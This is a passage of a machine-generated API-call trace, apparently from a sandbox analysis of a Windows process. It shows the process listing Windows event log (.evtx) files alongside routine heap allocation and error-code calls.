nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0082.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.590] GetLastError () returned 0x12 [0082.590] SetLastError (dwErrCode=0x12) [0082.590] GetLastError () returned 0x12 [0082.590] SetLastError (dwErrCode=0x12) [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e940 [0082.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.591] GetLastError () returned 0x12 [0082.591] SetLastError (dwErrCode=0x12) [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5646a8 [0082.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5646a8 [0082.591] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0082.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e940 | out: hHeap=0x520000) returned 1 [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.591] GetLastError () returned 0x12 [0082.591] SetLastError (dwErrCode=0x12) [0082.591] GetLastError () returned 0x12 [0082.591] SetLastError (dwErrCode=0x12) [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.591] GetLastError () returned 0x12 [0082.591] SetLastError (dwErrCode=0x12) [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0082.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0082.591] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0082.591] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0082.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.592] GetLastError () returned 0x12 [0082.592] SetLastError (dwErrCode=0x12) [0082.592] GetLastError () returned 0x12 [0082.592] SetLastError (dwErrCode=0x12) [0082.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.592] GetLastError () returned 0x12 [0082.592] SetLastError (dwErrCode=0x12) [0082.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0082.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0082.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0082.592] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0082.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.593] GetLastError () returned 0x12 [0082.593] SetLastError (dwErrCode=0x12) [0082.593] GetLastError () returned 0x12 [0082.593] SetLastError (dwErrCode=0x12) [0082.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0082.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.593] GetLastError () returned 0x12 [0082.593] SetLastError (dwErrCode=0x12) [0082.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x564740 [0082.593] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0082.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0082.593] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.593] GetLastError () returned 0x12 [0082.593] SetLastError (dwErrCode=0x12) [0082.594] GetLastError () returned 0x12 [0082.594] SetLastError (dwErrCode=0x12) [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.594] GetLastError () returned 0x12 [0082.594] SetLastError (dwErrCode=0x12) [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0082.594] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.594] GetLastError () returned 0x12 [0082.594] SetLastError (dwErrCode=0x12) [0082.594] GetLastError () returned 0x12 [0082.594] SetLastError (dwErrCode=0x12) [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.594] GetLastError () returned 0x12 [0082.594] SetLastError (dwErrCode=0x12) [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0082.594] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0082.594] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0082.594] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e6e8 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5647d8 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5647d8 | out: hHeap=0x520000) returned 1 [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5647d8 [0082.595] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e6e8 | out: hHeap=0x520000) returned 1 [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.595] GetLastError () returned 0x12 [0082.595] SetLastError (dwErrCode=0x12) [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0082.595] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0082.595] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0082.596] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0082.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0082.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581310 [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57da10 [0082.596] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0082.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581530 [0082.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.596] GetLastError () returned 0x12 [0082.596] SetLastError (dwErrCode=0x12) [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0082.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57da90 [0082.597] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0082.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581530 | out: hHeap=0x520000) returned 1 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.597] GetLastError () returned 0x12 [0082.597] SetLastError (dwErrCode=0x12) [0082.597] GetLastError () returned 0x12 [0082.597] SetLastError (dwErrCode=0x12) [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581e38 [0082.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.597] GetLastError () returned 0x12 [0082.597] SetLastError (dwErrCode=0x12) [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0082.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57d9f0 [0082.597] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0082.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581e38 | out: hHeap=0x520000) returned 1 [0082.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.597] GetLastError () returned 0x12 [0082.598] SetLastError (dwErrCode=0x12) [0082.598] GetLastError () returned 0x12 [0082.598] SetLastError (dwErrCode=0x12) [0082.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581750 [0082.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.598] GetLastError () returned 0x12 [0082.598] SetLastError (dwErrCode=0x12) [0082.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0082.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0082.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0082.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57d990 [0082.598] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0082.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581750 | out: hHeap=0x520000) returned 1 [0082.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.598] GetLastError () returned 0x12 [0082.598] SetLastError (dwErrCode=0x12) [0082.598] GetLastError () returned 0x12 [0082.599] SetLastError (dwErrCode=0x12) [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581530 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57eeb8 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581530 | out: hHeap=0x520000) returned 1 [0082.599] GetLastError () returned 0x12 [0082.599] SetLastError (dwErrCode=0x12) [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581860 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x582160 [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dbd0 [0082.599] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eeb8 | out: hHeap=0x520000) returned 1 [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.599] GetLastError () returned 0x12 [0082.599] SetLastError (dwErrCode=0x12) [0082.599] GetLastError () returned 0x12 [0082.599] SetLastError (dwErrCode=0x12) [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581a80 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.599] GetLastError () returned 0x12 [0082.599] SetLastError (dwErrCode=0x12) [0082.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0082.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0082.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0082.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5821f8 [0082.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0082.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dab0 [0082.600] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0082.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581a80 | out: hHeap=0x520000) returned 1 [0082.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.600] GetLastError () returned 0x12 [0082.600] SetLastError (dwErrCode=0x12) [0082.601] GetLastError () returned 0x12 [0082.601] SetLastError (dwErrCode=0x12) [0082.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581d28 [0082.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.601] GetLastError () returned 0x12 [0082.601] SetLastError (dwErrCode=0x12) [0082.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0082.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0082.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0082.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57dc50 [0082.601] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0082.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581d28 | out: hHeap=0x520000) returned 1 [0082.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.601] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581e38 [0082.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.602] GetLastError () returned 0x12 [0082.602] SetLastError (dwErrCode=0x12) [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0082.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5817d8 [0082.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x57d9b0 [0082.602] FindNextFileW (in: 